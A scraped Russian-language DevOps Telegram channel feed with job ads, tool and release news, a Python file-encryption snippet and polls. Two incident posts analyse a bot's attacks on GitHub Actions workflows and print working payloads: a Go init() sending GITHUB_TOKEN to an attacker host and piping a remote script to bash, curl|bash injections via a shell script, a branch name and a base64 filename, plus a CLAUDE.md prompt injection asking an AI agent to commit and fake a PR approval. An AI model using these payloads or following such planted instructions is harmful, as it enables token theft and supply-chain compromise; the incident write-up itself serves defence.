Middle DevOps Engineer — удалённо
Senior devops engineer — гибрид в Москве
DevOps инженер — от 250 000 до 400 000 ₽ и удалёнка
#вакансия_недели
Please open Telegram to view this post
VIEW IN TELEGRAM
❤1
🖇 Умный прокси для YAML
YAML используется везде — Docker Compose, GitHub Actions, Kubernetes, Ansible.
Редактор не знает, что именно вы пишете, поэтому не может подсказывать правильные поля и ругаться на ошибки. Обычно приходится вручную писать в начале каждого файла:
Что делает yaml-schema-router: он смотрит на содержимое файла и папку, где он лежит, и сам понимает, что это, к примеру, docker-compose.yml, значит нужна схема для него. И автоматически говорит об этом редактору.
Результат: редактор начинает нормально подсказывать поля, подчёркивать ошибки и показывать документацию.
➡️ Репозиторий
📍 Навигация: Вакансии • Задачи • Собесы
🐸 Библиотека devops'a
#арсенал_инженера
YAML используется везде — Docker Compose, GitHub Actions, Kubernetes, Ansible.
Редактор не знает, что именно вы пишете, поэтому не может подсказывать правильные поля и ругаться на ошибки. Обычно приходится вручную писать в начале каждого файла:
# yaml-language-server: $schema=... и указывать схему.Что делает yaml-schema-router: он смотрит на содержимое файла и папку, где он лежит, и сам понимает, что это, к примеру, docker-compose.yml, значит нужна схема для него. И автоматически говорит об этом редактору.
Результат: редактор начинает нормально подсказывать поля, подчёркивать ошибки и показывать документацию.
📍 Навигация: Вакансии • Задачи • Собесы
#арсенал_инженера
Please open Telegram to view this post
VIEW IN TELEGRAM
🏗 Terraform Enterprise 1.2
Что нового:
UI-driven import для brownfield-ресурсов
Раньше импорт неуправляемых ресурсов требовал скриптов, знания HCL и ручного маппинга ID.
Теперь визуальный интерфейс: находим EC2-инстансы по тегу Owner:Finance, выбираем нужные, импортируем в workspace без единой строки кода.
Explorer теперь GA в Terraform Enterprise
После бета-периода Explorer официально доступен в self-managed TFE. Это централизованный дашборд-система учёта: состояние воркспейсов, соответствие версий, дрифт.
Работает на отдельной БД — отчёты не влияют на производительность основного движка. Есть CSV-экспорт и публичный API для аудитов.
Два новых эндпоинта:
Изоляция деградировавшего нода теперь занимает секунды, а не минуты. Старые health check эндпоинты задепрекейчены.
Terraform Actions — поддержка сторонних инструментов из провайдеров — теперь полностью в TFE
Replace resource прямо из UI — починить упавшую VM, не выходя из дашборда.
Важно при апгрейде: убрали поддержку PostgreSQL 13.
➡️ Блог разработчиков
📍 Навигация: Вакансии • Задачи • Собесы
🐸 Библиотека devops'a
#пульс_индустрии
Что нового:
UI-driven import для brownfield-ресурсов
Раньше импорт неуправляемых ресурсов требовал скриптов, знания HCL и ручного маппинга ID.
Теперь визуальный интерфейс: находим EC2-инстансы по тегу Owner:Finance, выбираем нужные, импортируем в workspace без единой строки кода.
Explorer теперь GA в Terraform Enterprise
После бета-периода Explorer официально доступен в self-managed TFE. Это централизованный дашборд-система учёта: состояние воркспейсов, соответствие версий, дрифт.
Работает на отдельной БД — отчёты не влияют на производительность основного движка. Есть CSV-экспорт и публичный API для аудитов.
Два новых эндпоинта:
/api/v1/health/readiness — для load balancer, без аутентификации/api/v1/diagnostics — детальный статус для troubleshootingИзоляция деградировавшего нода теперь занимает секунды, а не минуты. Старые health check эндпоинты задепрекейчены.
Terraform Actions — поддержка сторонних инструментов из провайдеров — теперь полностью в TFE
Replace resource прямо из UI — починить упавшую VM, не выходя из дашборда.
Важно при апгрейде: убрали поддержку PostgreSQL 13.
📍 Навигация: Вакансии • Задачи • Собесы
#пульс_индустрии
Please open Telegram to view this post
VIEW IN TELEGRAM
😁1
Kubescape — это инструмент с открытым исходным кодом для комплексной безопасности кластеров, инкубационный проект CNCF.
Что умеет:
— Проверяет манифесты, Helm-чарты и живые кластеры на ошибки конфигурации и известные уязвимости
— Поддерживает CIS Benchmarks, NSA-CISA, MITRE ATT&CK, SOC 2 и другие фреймворки
— Проверяет наличие и корректность сетевых политик, помогает соблюдать принцип минимальных привилегий
— Мониторит активные кластеры и ловит подозрительную активность прямо в рантайме
— Работает с GitHub Actions, GitLab CI, VSCode, Lens — безопасность встраивается прямо в процесс разработки
Под капотом: Open Policy Agent для проверки политик, Grype для сканирования образов, eBPF через Inspektor Gadget для мониторинга ядра.
Попробовать:
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash
📍 Навигация: Вакансии • Задачи • Собесы
#арсенал_инженера
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1
Red Hat продолжает расширять присутствие OpenShift в экосистеме Oracle. После поддержки Oracle Cloud Infrastructure в версии 4.20 — теперь черёд Oracle Database Appliance (ODA).
Oracle Database Appliance — это инженерная система для небольших и распределённых организаций: оптимизированное железо, встроенная автоматизация, высокая доступность через Oracle RAC.
Раньше контейнерные приложения и Oracle-базы жили на отдельном железе. Теперь OpenShift в ODA можно запустить на том же аплайансе рядом с базой данных:
— Контейнеры и БД находятся на одном железе и задержка минимальная
— Весь стек от Kubernetes до данных на одном устройстве
— ODA часто стоит в филиалах и региональных офисах, теперь туда приходит и enterprise Kubernetes
— CI/CD и cloud-native практики на железе, которому уже доверяют
📍 Навигация: Вакансии • Задачи • Собесы
#пульс_индустрии
Please open Telegram to view this post
VIEW IN TELEGRAM
Последний шанс: 3 курса по цене 1 и запуск AI-агентов в продакшн
Развернуть контейнер в
В обновлённой программе фокус смещён на AgentOps, жёсткий инжиниринг и вывод в прод. Вы научитесь настраивать метрики производительности, работать с
Почему нельзя откладывать:
— масштабная акция «3 курса по цене 1» сгорит уже завтра;
— промокод
— сразу после оформления открываются материалы для подготовки — начать учиться можно прямо сейчас.
Забронировать место на курсе и забрать бонусы до 28 февраля
Развернуть контейнер в
Docker — рутина, а вот обеспечить Observability для мультиагентной LLM-системы — это боль. Как отслеживать стоимость токенов, логировать «галлюцинации» и не нарушить 152-ФЗ?В обновлённой программе фокус смещён на AgentOps, жёсткий инжиниринг и вывод в прод. Вы научитесь настраивать метрики производительности, работать с
LangGraph, внедрять RAG и протоколы MCP. Все ключевые навыки в одном месте: трассировка ошибок, time-travel дебаггинг, защита от деградации систем, human-in-the-loop и развёртывание отечественных моделей в закрытых контурах.Почему нельзя откладывать:
— масштабная акция «3 курса по цене 1» сгорит уже завтра;
— промокод
Agent на скидку 10 000 рублей действует последние часы;— сразу после оформления открываются материалы для подготовки — начать учиться можно прямо сейчас.
Забронировать место на курсе и забрать бонусы до 28 февраля
🤔 Вопрос на засыпку
Kubernetes-собеседование — и вот вам классический вопрос:
Подсказка: оба механизма добавляют метаданные к объектам, но используются для принципиально разных целей.
Знаете ответ?➡️ Проверьте себя
📍 Навигация: Вакансии • Задачи • Собесы
🐸 Библиотека devops'a
#задача_со_звёздочкой
Kubernetes-собеседование — и вот вам классический вопрос:
В чём отличие меток от аннотаций в Kubernetes?
Подсказка: оба механизма добавляют метаданные к объектам, но используются для принципиально разных целей.
Знаете ответ?
📍 Навигация: Вакансии • Задачи • Собесы
#задача_со_звёздочкой
Please open Telegram to view this post
VIEW IN TELEGRAM
❤4
Всё больше компаний используют passkeys с расширением PRF (Pseudo-Random Function) не только для аутентификации, но и для шифрования пользовательских данных — переписки, файлов, крипто-кошельков, резервных копий.
В чём проблема
На самом деле, когда аутентификация и шифрование совмещены в одном ключе — радиус поражения при его потере становится катастрофическим.
Представьте: пользователь включил зашифрованные резервные копии в мессенджере через passkey. Через несколько месяцев заходит в менеджер паролей, видит незнакомую запись и удаляет её. Никакого предупреждения, просто «Удалить passkey?».
Год спустя — новый телефон, попытка восстановить резервную копию. Passkey больше нет. Фотографий и остального тоже нет.
Apple Passwords, Google Password Manager и Bitwarden при удалении passkey никак не предупреждают, что вместе с ним будут безвозвратно уничтожены зашифрованные данные. Пользователь не может и не должен знать об этой связи.
У PRF в WebAuthn есть легитимные применения, например, разблокировка самого менеджера паролей, где есть механизмы восстановления. Но шифровать пользовательские данные напрямую опасно.
📍 Навигация: Вакансии • Задачи • Собесы
#локализация
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1
📰 Релизы недели и не только
Собрали материалы недели, которые вы могли пропустить в потоке.
— Docker Model Runner теперь запускает vLLM на macOS
Владельцы Mac на Apple Silicon теперь могут запускать MLX-модели через vLLM с тем же OpenAI-совместимым API и привычным Docker-воркфлоу
— Вышел Tails 7.5
В основе новой версии лежит пакетная база Debian 13 и ядро Linux 6.12 LTS
— Wine 11.3
— Локальный AI-агент
— Terraform Enterprise 1.2
📍 Навигация: Вакансии • Задачи • Собесы
🐸 Библиотека devops'a
#дайджест_недели
Собрали материалы недели, которые вы могли пропустить в потоке.
— Docker Model Runner теперь запускает vLLM на macOS
Владельцы Mac на Apple Silicon теперь могут запускать MLX-модели через vLLM с тем же OpenAI-совместимым API и привычным Docker-воркфлоу
— Вышел Tails 7.5
В основе новой версии лежит пакетная база Debian 13 и ядро Linux 6.12 LTS
— Wine 11.3
— Локальный AI-агент
— Terraform Enterprise 1.2
📍 Навигация: Вакансии • Задачи • Собесы
#дайджест_недели
Please open Telegram to view this post
VIEW IN TELEGRAM
Хватит просто «обслуживать» чужой код. Построй архитектуру как кофаундер 🚀
Proglib App — EdTech-платформа с ИИ-фишками, курсами и квизами. MVP в продакшене, пользователи учатся. Проекту нужен технический партнёр, который возьмёт на себя разработку и архитектуру сервиса.
Это шанс применить опыт в автоматизации и надёжности для создания продукта с нуля.
🛠️ Стек проекта:
TypeScript, React 18, Express 5, PostgreSQL, Drizzle ORM.
Твои задачи:
• Проектировать масштабируемую архитектуру и пилить фичи.
• Обеспечивать CI/CD, писать тесты и делать код-ревью.
• Развивать ИИ-инструменты платформы.
Идеальный мэтч, если:
• Уверенно знаешь TS, Node.js и понимаешь React.
• Умеешь строить надёжные системы без овер-инжиниринга.
• Используешь Claude Code и Cursor для ускорения поставки фич.
Удалёнка, отсутствие бюрократии, работа напрямую с основателем (он тоже кодит).
Готов превратить MVP в эталон инженерной мысли? Пиши о себе в бота 👇
@proglibrary_feedback_bot
Proglib App — EdTech-платформа с ИИ-фишками, курсами и квизами. MVP в продакшене, пользователи учатся. Проекту нужен технический партнёр, который возьмёт на себя разработку и архитектуру сервиса.
Это шанс применить опыт в автоматизации и надёжности для создания продукта с нуля.
🛠️ Стек проекта:
TypeScript, React 18, Express 5, PostgreSQL, Drizzle ORM.
Твои задачи:
• Проектировать масштабируемую архитектуру и пилить фичи.
• Обеспечивать CI/CD, писать тесты и делать код-ревью.
• Развивать ИИ-инструменты платформы.
Идеальный мэтч, если:
• Уверенно знаешь TS, Node.js и понимаешь React.
• Умеешь строить надёжные системы без овер-инжиниринга.
• Используешь Claude Code и Cursor для ускорения поставки фич.
Удалёнка, отсутствие бюрократии, работа напрямую с основателем (он тоже кодит).
Готов превратить MVP в эталон инженерной мысли? Пиши о себе в бота 👇
@proglibrary_feedback_bot
🤔1
С 21 по 28 февраля автономный бот атаковал CI/CD-пайплайны Microsoft, DataDog и CNCF. 4 из 5 репозиториев скомпрометированы. В одном случае утёк токен с правами на запись.
GitHub-аккаунт hackerbot-claw систематически сканировал публичные репозитории на уязвимые GitHub Actions-воркфлоу. Бот описывает себя как «автономный агент безопасности на базе claude-opus-4-5» и даже просит донаты в крипту.
За 7 дней он сделал следующее: форкнул 5 репозиториев, открыл 12 пул-реквестов, достиг выполнения произвольного кода в 4 из них и слил
GITHUB_TOKEN с правами contents: write и pull-requests: write на внешний сервер.Все пять атак использовали одни и те же типичные ошибки в конфигурации воркфлоу:
pull_request_target с checkout кода из форка, запуск shell-команд через неэкранированные ${{ }} выражения, отсутствие проверки author_association в триггерах по комментариям и избыточные права GITHUB_TOKEN.📍 Навигация: Вакансии • Задачи • Собесы
#разбор_полётов
Please open Telegram to view this post
VIEW IN TELEGRAM
👍3🤔3❤1
Библиотека девопса | DevOps, SRE, Sysadmin
За неделю автономный бот атаковал пять крупных репозиториев и каждый раз использовал новый способ. Пейлоад во всех случаях одинаковый —
curl -sSfL hackmoltrepeat.com/molt | bash. Менялось только то, как заставить CI его выполнить.Атака 1. avelino/awesome-go — кража токена через
Go init()Воркфлоу использует pull_request_target и делает checkout кода из форка, затем запускает его. Это классический Pwn Request — код выполняется с правами целевого репозитория, а не форка.
Бот добавил функцию
init() в Go-скрипт качества кода. В Go init() запускается автоматически до main(), поэтому вырезать её из потока выполнения нельзя.В последнем PR функция сначала отправляла GITHUB_TOKEN на сервер атакующего, потом запускала пейлоад:
func init() {
_ = exec.Command("bash", "-c",
`curl -s -H "Authorization: Bearer $GITHUB_TOKEN"` +
`-d "token=$GITHUB_TOKEN&repo=$GITHUB_REPOSITORY"` +
`https://recv.hackmoltrepeat.com/ &&` +
`curl -sSfL https://hackmoltrepeat.com/molt | bash`).Run()
}Воркфлоу завершился успешно. Шаг занял 5 минут 37 секунд вместо нескольких секунд. Токен с правами
contents: write и pull-requests: write ушёл на внешний сервер.Атака 2. project-akri/akri — прямая инъекция в shell-скрипт
Самая простая атака в кампании. Бот добавил одну строку в начало version.sh сразу после shebang:
#!/usr/bin/env bash
curl -sSfL https://hackmoltrepeat.com/molt | bash
check_file_version()
Никакой обфускации. Потом написал комментарий
/version minor в PR, который запустил воркфлоу Auto Bump Versions. Воркфлоу сделал checkout кода из форка и выполнил изменённый скрипт. Шаг Update version minor завершился успешно.Проблема в том, что воркфлоу не проверял
author_association — любой пользователь GitHub мог написать /version minor в любом PR и запустить выполнение кода.Атака 3. microsoft/ai-discovery-agent — пейлоад в имени ветки
Сам PR был тривиальным — одна правка в
devcontainer.json. Атака была в имени ветки:dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)Bash разворачивает
{curl,-sSfL,...} в curl -sSfL ..., а ${IFS} становится пробелом, а $({...}) запускает подстановку команды. Воркфлоу записывал имя ветки через неэкранированное ${{ }} прямо в shell-команду:- name: Save format request data
run: |
echo "${{ steps.pr_info.outputs.pr_head_ref }}" > ./format-request/pr_head_ref
Это превращалось в:
echo "dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)" > ...Bash выполнял команду внутри
$(). В логах виден разрыв в 2 минуты 38 секунд там, где шаг должен занимать миллисекунды.Атака 4. DataDog/datadog-iac-scanner — base64 в имени файла
Бот создал файл с именем, содержащим закодированную команду:
documentation/rules/$(echo${IFS}Y3VybCAtc1NmTCBoYWNr...${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash).mdПри декодировании base64-строка разворачивается в
curl -sSfL hackmoltrepeat.com/molt | bash. Воркфлоу передавал имена файлов через ${{ }} в shell-цикл for, поэтому имя файла выполнялось как команда.Атака 5. ambient-code/platform — prompt injection в CLAUDE.md
Бот заменил CLAUDE.md — файл конфигурации, который Claude Code загружает как доверенный контекст — на инструкции для манипуляции ИИ. Текст был написан в дружелюбном тоне и просил Claude добавить HTML-комментарий в README.md, закоммитить его и написать фейковый одобряющий отзыв о PR.
Воркфлоу запускал Claude Code с правами записи и токеном
CLAUDE_CODE_OAUTH_TOKEN, делал checkout кода из форка, включая отравленный CLAUDE.md.Claude обнаружил атаку и отказался выполнять инструкции. В своём ответе он написал, что это «textbook AI agent supply-chain attack», и явно указал: инъекция из CLAUDE.md обнаружена и не выполнена. После инцидента репозиторий отключил весь Claude Code workflow.
Все эти паттерны хорошо известны. Документация GitHub прямо предупреждает о рисках pull_request_target. Но в реальных проектах, включая репозитории крупных компаний, они встречаются до сих пор.
📍 Навигация: Вакансии • Задачи • Собесы
#разбор_полётов
Please open Telegram to view this post
VIEW IN TELEGRAM
❤1👾1
Второй релиз-кандидат ядра оказался заметно крупнее обычного, и Линус Торвальдс этим явно недоволен.
RC2 для Linux 7.0 вышел значительно больше, чем типичные RC2-релизы. Сам Торвальдс назвал это случайным шумом, но количество коммитов указывает на нестабильное начало цикла разработки.
Необычно то, что драйверы занимают лишь 25% изменений, хотя в ранних RC традиционно доминируют именно они. Большую часть обновлений составляют ядро, сетевой стек и файловые системы, то есть изменения с более высоким риском дестабилизировать систему целиком.
Торвальдс объясняет это эффектом накопленного долга из цикла Linux 6.19, который был продлён на одну неделю. Из-за этого скопился большой объём работы, который теперь разом хлынул в 7.0.
📍 Навигация: Вакансии • Задачи • Собесы
#пульс_индустрии
Please open Telegram to view this post
VIEW IN TELEGRAM
🌚3❤1🤔1
🔐 Шифруем файлы на Python за 10 строк
Хранить секреты в открытом виде — плохая идея. Конфиги, токены, ключи API — всё это лучше шифровать. Вот минималистичный скрипт на Python с использованием AES-шифрования через библиотеку cryptography:
Скрипт читает файл, шифрует его содержимое и сохраняет с расширением .enc. Ключ генерируется автоматически — сохраните его, без него расшифровать файл не получится.
⚠️ Не храните ключ рядом с зашифрованным файлом.
📍 Навигация: Вакансии • Задачи • Собесы
🐸 Библиотека devops'a
#root_prompt
Хранить секреты в открытом виде — плохая идея. Конфиги, токены, ключи API — всё это лучше шифровать. Вот минималистичный скрипт на Python с использованием AES-шифрования через библиотеку cryptography:
from cryptography.fernet import Fernet
def encrypt_file(file_path):
key = Fernet.generate_key()
cipher = Fernet(key)
with open(file_path, "rb") as file:
encrypted_data = cipher.encrypt(file.read())
with open(file_path + ".enc", "wb") as enc_file:
enc_file.write(encrypted_data)
print(f"File encrypted! Key: {key.decode()}")
if __name__ == "__main__":
encrypt_file("secrets.txt")
Скрипт читает файл, шифрует его содержимое и сохраняет с расширением .enc. Ключ генерируется автоматически — сохраните его, без него расшифровать файл не получится.
⚠️ Не храните ключ рядом с зашифрованным файлом.
📍 Навигация: Вакансии • Задачи • Собесы
#root_prompt
Please open Telegram to view this post
VIEW IN TELEGRAM
👍4
По неофициальной статистике, нужно около тысячи откликов, чтобы получить 2-3 приглашения на собеседование. Добавьте к этому нормализованный гостинг, многоступенчатые отборы без обратной связи и скрытые вакансии, которые никогда не появятся на хх.ру — и картина станет полной.
В таких условиях побеждает не тот, кто лучше, а тот, кто хитрее.
📍 Навигация: Вакансии • Задачи • Собесы
#пульс_индустрии
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1🤔1
Anonymous Poll
54%
Android / AOSP и форки
39%
Iphone
4%
На Linux
5%
Кнопочный
3%
Эмулятор на ПК
📱 Телефон девопса
Мы тут поспорили — какой телефон у типичного девопса. Кто-то говорит, что все давно на айфоне, кто-то клянётся андроидом, а кто-то, говорят, реально носит в кармане что-то на Linux.
Голосуйте 👆
📍 Навигация: Вакансии • Задачи • Собесы
🐸 Библиотека devops'a
#холиварня
Мы тут поспорили — какой телефон у типичного девопса. Кто-то говорит, что все давно на айфоне, кто-то клянётся андроидом, а кто-то, говорят, реально носит в кармане что-то на Linux.
Голосуйте 👆
📍 Навигация: Вакансии • Задачи • Собесы
#холиварня
Please open Telegram to view this post
VIEW IN TELEGRAM
🔄 elementary OS 8.1.1
Вышел elementary OS 8.1.1. Это точечный релиз, который не меняет архитектуру системы, но убирает несколько раздражающих мелочей и добавляет пару полезных вещей.
Панель задач теперь показывает горячие клавиши в подсказках и добавляет информацию о фоновых процессах. AppCenter перестал зависать после нажатия «Отмена».
Диалоги с паролем и выходом из системы получили размытие фона. В настройках появилась поддержка трекпоинтов, режим перетаскивания через тачпад и выбор просмотрщика PDF по умолчанию.
Из панели убрали ярлыки System Settings и Multitasking View, которые там особо никому не были нужны. Автообновления теперь включены по умолчанию, а назойливые Wi-Fi уведомления выключены.
Ещё в комплекте идёт ядро Linux 6.17.
➡️ Источник
📍 Навигация: Вакансии • Задачи • Собесы
🐸 Библиотека devops'a
#пульс_индустрии
Вышел elementary OS 8.1.1. Это точечный релиз, который не меняет архитектуру системы, но убирает несколько раздражающих мелочей и добавляет пару полезных вещей.
Панель задач теперь показывает горячие клавиши в подсказках и добавляет информацию о фоновых процессах. AppCenter перестал зависать после нажатия «Отмена».
Диалоги с паролем и выходом из системы получили размытие фона. В настройках появилась поддержка трекпоинтов, режим перетаскивания через тачпад и выбор просмотрщика PDF по умолчанию.
Из панели убрали ярлыки System Settings и Multitasking View, которые там особо никому не были нужны. Автообновления теперь включены по умолчанию, а назойливые Wi-Fi уведомления выключены.
Ещё в комплекте идёт ядро Linux 6.17.
📍 Навигация: Вакансии • Задачи • Собесы
#пульс_индустрии
Please open Telegram to view this post
VIEW IN TELEGRAM
👍2❤1